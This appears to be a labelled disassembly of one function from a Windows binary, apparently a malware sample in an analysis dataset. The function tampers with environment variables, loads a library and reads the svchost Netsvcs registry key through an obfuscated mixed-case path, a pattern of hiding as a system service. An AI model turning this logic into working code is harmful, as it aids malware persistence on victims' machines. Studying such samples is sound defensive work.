Function at 0x402120
Capabilities:
Get common file path
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404e50
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x934
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x1c], 0x80000002
mov dword [ebp - 0x18], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x47c], 0
mov dword [ebp - 0x6b4], 0
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x6bc], 0
xor eax, eax
mov dword [ebp - 0x6bb], eax
mov dword [ebp - 0x2c], 0x1fe
mov byte [ebp - 0x6b0], 0
mov ecx, 0x8b
xor eax, eax
lea edi, [ebp - 0x6af]
rep stosd dword es:[edi], eax
push 0
push str.SESSIONNAME
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
push 0x14f
lea ecx, [ebp - 0x91c]
push ecx
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
movsx edx, byte [0x42f66c]
test edx, edx
je 0x402350
push 0x42f66c
lea eax, [ebp - 0x7cc]
push eax
call fcn.00401e80
add esp, 8
push 0x2a
lea ecx, [ebp - 0x7cc]
push ecx
call fcn.00401650
add esp, 8
test eax, eax
je 0x402221
push str._SESSIONNAME_
push 0x42ebd0
lea edx, [ebp - 0x7cc]
push edx
call fcn.00402ec0
add esp, 0xc
jmp 0x402235
push str._SESSIONNAME__
lea eax, [ebp - 0x7cc]
push eax
call fcn.004027b0
add esp, 8
push 0x22d
lea ecx, [ebp - 0x6b0]
push ecx
lea edx, [ebp - 0x7cc]
push edx
call dword [sym.imp.kernel32.dll_ExpandEnvironmentStringsA]
push 0x3f
lea eax, [ebp - 0x6b0]
push eax
call fcn.00401650
add esp, 8
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x402290
push 1
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.00401800
add esp, 8
mov edx, dword [ebp - 0x24]
movsx eax, byte [edx]
cdq
mov ecx, 6
idiv ecx
add edx, 2
push edx
call dword [sym.imp.kernel32.dll_LoadLibraryA]
jmp 0x40224e
lea edx, [ebp - 0x6b0]
push edx
call fcn.00401fd0
add esp, 4
mov dword [ebp - 0x928], eax
mov eax, dword [ebp - 0x928]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
lea edx, [ebp - 0x6b0]
cmp ecx, edx
je 0x40231c
mov eax, dword [ebp - 0x24]
push eax
lea ecx, [ebp - 0x5e8]
push ecx
call fcn.00401e80
add esp, 8
lea edx, [ebp - 0x6b0]
push edx
call fcn.00402680
add esp, 4
mov byte [ebp - 0x92c], al
mov eax, dword [ebp - 0x92c]
and eax, 0xff
test eax, eax
jne 0x40230a
lea ecx, [ebp - 0x91c]
push ecx
lea edx, [ebp - 0x6b0]
push edx
call fcn.00401e80
add esp, 8
jmp 0x402311
mov eax, dword [ebp - 0x24]
mov byte [eax - 1], 0
lea ecx, [ebp - 0x5e8]
mov dword [ebp - 0x24], ecx
jmp 0x40234e
lea edx, [ebp - 0x5e8]
mov dword [ebp - 0x24], edx
lea eax, [ebp - 0x6b0]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.00401e80
add esp, 8
lea edx, [ebp - 0x91c]
push edx
lea eax, [ebp - 0x6b0]
push eax
call fcn.00401e80
add esp, 8
jmp 0x402375
lea ecx, [ebp - 0x5e8]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
mov byte [edx], 0
lea eax, [ebp - 0x91c]
push eax
lea ecx, [ebp - 0x6b0]
push ecx
call fcn.00401e80
add esp, 8
mov edx, dword [ebp - 0x24]
movsx eax, byte [edx]
test eax, eax
jne 0x4023aa
push 0xa
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.00401800
add esp, 8
push str.3cc.
call fcn.00403250
add esp, 4
push eax
mov edx, dword [ebp - 0x24]
add edx, 5
push edx
call fcn.00401e80
add esp, 8
mov eax, dword [ebp - 0x24]
push eax
lea ecx, [ebp - 0x6b0]
push ecx
push str._s_s
lea edx, [ebp - 0x7cc]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, dword [ebp + 0xc]
push eax
call fcn.004018d0
add esp, 4
lea ecx, [ebp - 0x7cc]
push ecx
call fcn.004016e0
add esp, 4
lea edx, [ebp - 0x7cc]
push edx
call fcn.00402d90
add esp, 4
mov byte [ebp - 0x930], al
mov eax, dword [ebp - 0x930]
and eax, 0xff
test eax, eax
je 0x402422
push 0
lea ecx, [ebp - 0x7cc]
push ecx
call fcn.00401650
add esp, 8
mov dword [eax], 0x6c
jmp 0x4023e5
lea edx, [ebp - 0x1c]
push edx
push 1
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [str.SOFTWAREmIcRoSoFtwINDoWS_ntcurrentVerSioN_sVChoST]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [0x42ec6c]
mov dword [ebp - 0x47c], eax
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x478]
push ecx
lea edx, [ebp - 0x480]
push edx
push 0
push str.Netsvcs
mov eax, dword [ebp - 0x1c]
push eax
call dword [0x42ec78]
mov dword [ebp - 0x47c], eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [0x42ec4c]
cmp dword [ebp - 0x47c], 0
je 0x402484
jmp 0x402545
call fcn.00403900
mov dword [ebp - 0x934], eax
cmp dword [ebp - 0x934], 0
jne 0x402508
lea edx, [ebp - 0x7cc]
push edx
push 4
lea eax, [ebp - 0x478]
push eax
call fcn.00403d70
add esp, 0xc
mov byte [ebp - 0x938], al
mov ecx, dword [ebp - 0x938]
and ecx, 0xff
test ecx, ecx
je 0x4024d0
mov eax, 1
jmp 0x4025d5
lea edx, [ebp - 0x7cc]
push edx
push 3
lea eax, [ebp - 0x478]
push eax
call fcn.00403d70
add esp, 0xc
mov byte [ebp - 0x93c], al
mov ecx, dword [ebp - 0x93c]
and ecx, 0xff
test ecx, ecx
je 0x402508
mov eax, 1
jmp 0x4025d5
lea edx, [ebp - 0x7cc]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x478]
push edx
call fcn.00403e50
add esp, 0x10
mov byte [ebp - 0x940], al
mov eax, dword [ebp - 0x940]
and eax, 0xff
test eax, eax
je 0x402545
mov eax, 1
jmp 0x4025d5
mov ecx, dword [ebp + 8]
push ecx
call fcn.004018d0
add esp, 4
mov dword [ebp - 0x920], 0x110
mov edx, dword [ebp + 8]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00402890
add esp, 8
push 0x42f724
mov edx, dword [ebp - 0x920]
push edx
mov eax, dword [ebp - 0x34]
push eax
lea ecx, [ebp - 0x7cc]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004011e0
add esp, 0x1c
mov dword [ebp - 0x944], eax
mov edx, dword [ebp - 0x944]
mov dword [ebp - 0x14], edx
jmp 0x4025b3
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x14], 0
je 0x4025d3
mov eax, dword [ebp - 0x14]
push eax
call fcn.004037f0
add esp, 4
and eax, 0xff
jmp 0x4025d5
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret